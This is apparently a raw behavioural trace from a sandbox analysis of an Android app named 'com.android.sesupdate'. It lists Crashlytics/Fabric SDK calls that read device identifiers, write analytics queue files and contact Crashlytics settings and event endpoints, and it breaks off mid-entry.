                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.isLimitAdTrackingEnabled:3 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.IdManager->explicitCheckLimitAdTracking at io.fabric.sdk.android.services.common.IdManager.isLimitAdTrackingEnabled:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: android.app.SharedPreferencesImpl->getString at io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier:15 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: crashlytics.installation.id
                          p1null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 727b1e1c99ed48bfa431dd3ed82456db
                          API: io.fabric.sdk.android.services.common.IdManager->getOsDisplayVersionString at io.fabric.sdk.android.services.common.IdManager.getOsVersionString:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 4.2.1
                          API: io.fabric.sdk.android.services.common.IdManager->getOsBuildVersionString at io.fabric.sdk.android.services.common.IdManager.getOsVersionString:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: 50
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAdvertisingId:3 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.IdManager->getAdvertisingId at io.fabric.sdk.android.services.common.IdManager.getDeviceIdentifiers:60 Show source
                          NameTypeValue
                          Return Valuenull
                          • toString: null
                          API: io.fabric.sdk.android.services.common.IdManager->explicitCheckLimitAdTracking at io.fabric.sdk.android.services.common.IdManager.getAndroidId:5 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.IdManager->shouldCollectHardwareIds at io.fabric.sdk.android.services.common.IdManager.getAndroidId:11 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: android.provider.Settings.Secure->getString at io.fabric.sdk.android.services.common.IdManager.getAndroidId:23 Show source
                          NameTypeValue
                          p0android.app.ContextImpl$ApplicationContentResolver
                          • toString: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                          p1java.lang.String
                          • toString: android_id
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: io.fabric.sdk.android.services.common.IdManager->getAndroidId at io.fabric.sdk.android.services.common.IdManager.getDeviceIdentifiers:69 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: d6ab1046af78a9eb
                          API: com.android.sesupdate.MainApplication->getPackageName at io.fabric.sdk.android.services.common.InstallerPackageNameProvider$1.load:11 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.android.sesupdate
                          API: android.content.pm.PackageManager->getInstallerPackageName at io.fabric.sdk.android.services.common.InstallerPackageNameProvider$1.load:7 Show source
                          NameTypeValue
                          packageNamejava.lang.String
                          • toString: com.android.sesupdate
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: com.google.android.feedback
                          API: io.fabric.sdk.android.InitializationTask->isCancelled at io.fabric.sdk.android.services.concurrency.AsyncTask.finish:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isCancelled at io.fabric.sdk.android.services.concurrency.AsyncTask.finish:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isCancelled at io.fabric.sdk.android.services.concurrency.AsyncTask.finish:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isCancelled at io.fabric.sdk.android.services.concurrency.AsyncTask.finish:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isCancelled at io.fabric.sdk.android.services.concurrency.AsyncTask.finish:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityFutureTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityAsyncTask$ProxyExecutor$1->areDependenciesMet at io.fabric.sdk.android.services.concurrency.DependencyPriorityBlockingQueue.canProcess:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.isFinished:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityAsyncTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.concurrency.PriorityTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->areDependenciesMet at io.fabric.sdk.android.services.concurrency.PriorityFutureTask.areDependenciesMet:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.InitializationTask->isFinished at io.fabric.sdk.android.services.concurrency.PriorityTask.areDependenciesMet:16 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File-><init> at ..:19 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers
                          p1java.lang.String
                          • toString: session_analytics.tap
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics.tap
                          API: java.io.File-><init> at ..:7 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers
                          p1java.lang.String
                          • toString: session_analytics_to_send
                          NameTypeValue
                          Return Valuejava.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics_to_send
                          API: java.io.File->exists at ..:12 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.QueueFile->isEmpty at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.FileOutputStream-><init> at ..:14 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics_to_send/sa_560f8e8e-141d-4518-b17f-df57e3c393a1_1537579417974.tap
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@2260bcd8
                          API: java.io.File->delete at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.QueueFile->isEmpty at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: java.io.FileOutputStream-><init> at ..:14 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics_to_send/sa_acc7d16d-6222-4e0f-b3e6-ea8eca8fcd96_1537579423579.tap
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@e11583a
                          API: java.io.File->delete at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: io.fabric.sdk.android.services.common.QueueFile->isEmpty at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: false
                          API: io.fabric.sdk.android.services.common.QueueFile->getClass at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@293f99a8
                          • getName: io.fabric.sdk.android.services.common.QueueFile
                          API: io.fabric.sdk.android.services.common.QueueFile.Element->getClass at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          API: io.fabric.sdk.android.services.common.QueueFile.Element->getClass at ..:4 Show source
                          NameTypeValue
                          Return Valuejava.lang.Class
                          • toString: java.lang.Class@2ac8a854
                          • getName: io.fabric.sdk.android.services.common.QueueFile$Element
                          API: java.io.FileOutputStream-><init> at ..:14 Show source
                          NameTypeValue
                          p0java.io.File
                          • toString: /data/data/com.android.sesupdate/files/.Fabric/com.crashlytics.sdk.android:answers/session_analytics_to_send/sa_8cade45e-29ce-4ef8-9683-8a7196a792d8_1537579433581.tap
                          NameTypeValue
                          Return Valuejava.io.FileOutputStream
                          • toString: java.io.FileOutputStream@1dc1bafd
                          API: java.io.File->delete at ..:19 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.io.File->delete at ..:38 Show source
                          NameTypeValue
                          Return Valuejava.lang.Boolean
                          • toString: true
                          API: java.net.URL-><init> at ..:17 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          API: java.net.URL-><init> at ..:11 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://settings.crashlytics.com/spi/v2/platforms/android/apps/com.android.sesupdate/settings?icon_hash=2e2f12c9caf18e6c264f29a759e5477fa62a7720&display_version=3.0&source=4&instance=a70c5b872411d0a0d40da8f7f831148fe10d2556&build_version=3
                          API: com.android.okhttp.internal.http.HttpsURLConnectionImpl->getHeaderField at ..:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: Content-Type
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: application/json; charset=utf-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->charset at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: utf-8
                          API: io.fabric.sdk.android.services.network.HttpRequest->method at ..:7 Show source
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: java.lang.String@7bd8d6b
                          API: com.android.okhttp.internal.http.HttpsURLConnectionImpl->getInputStream at ..:15 Show source
                          NameTypeValue
                          Return Valuecom.android.okio.RealBufferedSource$1
                          • toString: buffer(com.android.okio.GzipSource@1ee66174).inputStream()
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:16 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: utf-8
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: utf-8
                          API: com.android.okhttp.internal.http.HttpsURLConnectionImpl->getHeaderField at ..:13 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: X-REQUEST-ID
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: a0566db5fb74c2a7ff70b87dd7cb6a5c
                          API: java.net.URL-><init> at ..:12 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL-><init> at ..:23 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: java.net.URL-><init> at ..:12 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL-><init> at ..:23 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: java.net.URL-><init> at ..:12 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL-><init> at ..:23 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: java.net.URL-><init> at ..:12 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL-><init> at ..:23 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: io.fabric.sdk.android.services.network.HttpRequest->getValidCharset at ..:3 Show source
                          NameTypeValue
                          p0null
                          • toString: null
                          NameTypeValue
                          Return Valuejava.lang.String
                          • toString: UTF-8
                          API: java.net.URL-><init> at ..:12 Show source
                          NameTypeValue
                          p0java.lang.String
                          • toString: https://e.crashlytics.com/spi/v2/events
                          NameTypeValue
                          Return Valuejava.net.URL
                          • toString: https://e.crashlytics.com/spi/v2/events
                          API: java.net.URL-><init> at ..:23 Show source
                          NameTypeValue
                          p0java.lang.String
